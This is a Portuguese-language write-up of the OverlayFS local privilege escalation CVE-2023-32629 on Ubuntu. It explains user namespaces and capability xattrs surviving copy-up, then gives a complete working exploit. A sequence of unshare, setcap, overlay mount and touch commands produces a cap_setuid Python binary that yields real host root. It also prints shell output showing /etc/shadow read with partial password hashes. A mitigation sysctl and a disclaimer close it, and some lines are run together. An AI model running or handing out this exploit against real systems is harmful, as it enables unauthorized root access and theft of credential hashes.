
Escalada de Privilégios Local do OverlayFS - Write-up completo para escalada total
Elevação de Privilégios Local no OverlayFS - Guia completo para a escalação total
Apenas para fins educacionais e de pesquisa de segurança autorizada.
Gravidade: Alta
Tipo: Elevação Local de Privilégios (LPE)
Afetados: Kernels do Ubuntu anteriores aos patches de maio/junho de 2023
Requisito: Namespaces de usuário sem privilégios ativados (padrão no Ubuntu)
O CVE-2023-32629 é uma vulnerabilidade na implementação do OverlayFS no kernel Linux. Ela abusa da interação entre namespaces de usuário e capacidades de filesystem durante a operação de copy-up do OverlayFS para alcançar elevação local de privilégios de qualquer usuário não privilegiado para o root real do host.
Quando você executa unshare -r, o kernel cria um novo namespace de usuário e mapeia seu UID do host para o UID 0 dentro dele:
/proc/self/uid_map:
0 1001 1 ← "UID 0 inside namespace = UID 1001 (lowpriv) outside"
Isso significa que você aparece como root dentro do namespace, mas o kernel do host sempre traduz de volta para o seu UID real ao realizar verificações de permissão de filesystem em recursos do host.
O OverlayFS empilha um lowerdir (somente leitura) e um upperdir (leitura/escrita) em uma visão mesclada. Quando um arquivo no lowerdir é gravado por meio da visão mesclada, o kernel o copia para o upperdir primeiro — isso é chamado de copy-up.
Crítico: O copy-up é executado pelo próprio kernel usando credenciais do host, independentemente de qual namespace o acionou. Todos os atributos estendidos (xattrs), incluindo capacidades de filesystem, são preservados durante essa operação.
| Mecanismo | Exige propriedade do root | Concedido por |
|---|---|---|
| Bit SUID | ✅ Sim | chmod u+s |
Capacidades (cap_setuid) | ❌ Não | setcap + xattr confiável |
Essa distinção é o núcleo do exploit. As capacidades são reconhecidas pelo kernel com base apenas no xattr, independentemente de quem é o dono do arquivo.
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
echo >> m/python3 &&
cp u/python3 /tmp/rootshell &&
chmod 4755 /tmp/rootshell
"
/tmp/rootshell -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
-rwsr-xr-x 1 lowpriv lowpriv 8016833 /tmp/rootshell
PermissionError: [Errno 1] Operation not permitted
Os comandos cp e chmod foram executados dentro do namespace, onde o UID 0 mapeia para lowpriv no host. Então:
/tmp/rootshell era de propriedade de lowpriv, não do root reallowpriv concede apenas lowpriv — que já tínhamoscp também removeu os xattrs de capacidade do bináriounshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
echo >> m/python3 &&
m/python3 -c 'import os; os.setuid(0); os.system(\"/bin/bash -p\")'
"
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
cat: /etc/shadow: Permission denied
O shell era root apenas dentro do namespace. Quando tentou acessar /etc/shadow, o kernel realizou a verificação de permissão do VFS usando o UID do host traduzido:
Process UID (inside NS): 0 (looks like root)
Kernel translation: 0 → 1001 (lowpriv on host)
/etc/shadow permissions: 640 root:shadow
Effective checker UID: 1001 (lowpriv)
Result: EACCES — Permission denied
A bolha do namespace nunca rompe para o root real do host ao tocar em recursos do filesystem do host.
# Step 1: Set up the OverlayFS inside the namespace and EXIT
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
touch m/python3
"
# touch triggers kernel copy-up: l/python3 → u/python3
# kernel runs copy-up with HOST credentials, preserving cap_setuid xattr
# Step 2: Verify the capability survived on the host filesystem
getcap u/python3
# u/python3 cap_setuid=eip ← trusted xattr set on host FS
# Step 3: Execute OUTSIDE the namespace
u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
root:*:20305:0:99999:7:::
ubuntu:!$6$G/ZfsnyX...
lowpriv:$y$j9T$0XsK...
admin:$y$j9T$TQiE...
1. setcap inside user namespace
│
│ writes cap_setuid as trusted xattr on l/python3
▼
2. touch m/python3 → OverlayFS copy-up triggered
│
│ kernel copies l/ → u/ using HOST credentials
│ ALL xattrs preserved, including cap_setuid
▼
3. u/python3 exists on HOST filesystem
│
│ owner: lowpriv (irrelevant for capabilities)
│ xattr: cap_setuid=eip (kernel trusts this)
▼
4. Execute u/python3 OUTSIDE the namespace
│
│ no UID mapping in effect
│ kernel reads cap_setuid=eip as host-level capability
│ os.setuid(0) → real host root
▼
5. Shell has genuine UID 0
│
│ VFS checks pass as real root
└─ /etc/shadow readable
O kernel não deveria honrar xattrs de capacidade confiáveis que foram definidos de dentro de um namespace de usuário durante o copy-up, porque esses xattrs carregam confiança em nível de host. Não aplicar essa fronteira é o bug.
O namespace nos deu a capacidade de definir uma capacidade confiável em um arquivo; o copy-up do kernel contrabandeou essa capacidade para o filesystem do host; executar fora do namespace a tornou real.
sysctl -w kernel.unprivileged_userns_clone=0
unshare + mount overlayfs por parte de usuários sem privilégiosEsta ferramenta é fornecida apenas para fins educacionais e testes de segurança autorizados. O uso não autorizado contra sistemas dos quais você não é proprietário ou para os quais não possui permissão explícita por escrito para testar é ilegal. O autor não é responsável por qualquer mau uso.
| Dentro do Namespace | Fora do Namespace |
|---|
| UID 0 significa | lowpriv (mapeado) | root real |
Efeito de setuid(0) | no-op (já é root no NS) | escalada real |
| Acesso ao FS do host | traduzido → lowpriv | root total |
cap_setuid honrado | apenas dentro do NS | sim, em nível de host |